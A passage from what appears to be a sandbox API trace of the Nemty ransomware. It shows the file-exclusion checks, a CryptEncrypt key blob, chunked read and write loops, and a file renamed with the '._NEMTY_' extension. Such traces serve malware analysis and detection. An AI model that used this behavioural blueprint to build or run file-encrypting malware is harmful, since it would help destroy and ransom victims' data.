cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0072.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0072.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0072.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0072.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0072.423] Sleep (dwMilliseconds=0x5) [0072.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xded154d0, dwHighDateTime=0x1d561e7)) [0072.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xded154d0, dwHighDateTime=0x1d561e7)) [0072.429] GetLastError () returned 0x5 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.429] GetLastError () returned 0x5 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.429] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0072.429] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="M7l+GZf+bSdDoxSebmRyvEubGOMnNxdHiEjnIJn6l6KjY7oWjCgzyFksNEeVGp/q\r\nJ80rdxnfkcByxWa6ltKw4eF6uhpMtc3Qx4+69c8MtGVJawt5t6gEPbinbtLBIi9j\r\n/8krgU9k5zrb7D0HieNX8Dec3HkFMpFfAUIyK+BOC8dYvVCF14oVFE9lo4L9U1iV\r\n06NaRDQyHoALRilLHUkU3FNWDurpPHgWfqhTr+ow2MbbagSL31LKqgFfvFnnD93x\r\neR9Z5H6Q5qowRHDvHlwzs4bnEYiRyTIuw0jo9n7EeTDTQ0jdsh7vTzJFqMIRN7Y7\r\n2qyW2tL7ZL8xUIkMW7qaCQ==\r\n", pcchString=0x653e91c) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0072.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.429] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.430] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.537] CloseHandle (hObject=0xffffffff) returned 0 [0072.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0072.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0072.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.537] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.538] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2=".") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="..") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="...") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="windows") returned -1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="$RECYCLE.BIN") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="rsa") returned -1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="NTDETECT.COM") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntldr") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="MSDOS.SYS") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="IO.SYS") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="boot.ini") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="boot.ini") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="ntuser.dat") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="desktop.ini") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="CONFIG.SYS") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="RECYCLER") returned -1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="BOOTSECT.BAK") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="bootmgr") returned 1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="programdata") returned -1 [0072.538] lstrcmpiW (lpString1="PreviousMenuButtonIconSubpi.png", lpString2="appdata") returned 1 [0072.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0072.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIconSubpi.png", lpUsedDefaultChar=0x0) returned 31 [0072.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0072.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0072.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIconSubpi.png", lpUsedDefaultChar=0x0) returned 31 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIconSubpi.png", lpUsedDefaultChar=0x0) returned 31 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIconSubpi.png", lpUsedDefaultChar=0x0) returned 31 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0072.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0072.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0072.539] Sleep (dwMilliseconds=0x5) [0072.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdee45fd0, dwHighDateTime=0x1d561e7)) [0072.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdee45fd0, dwHighDateTime=0x1d561e7)) 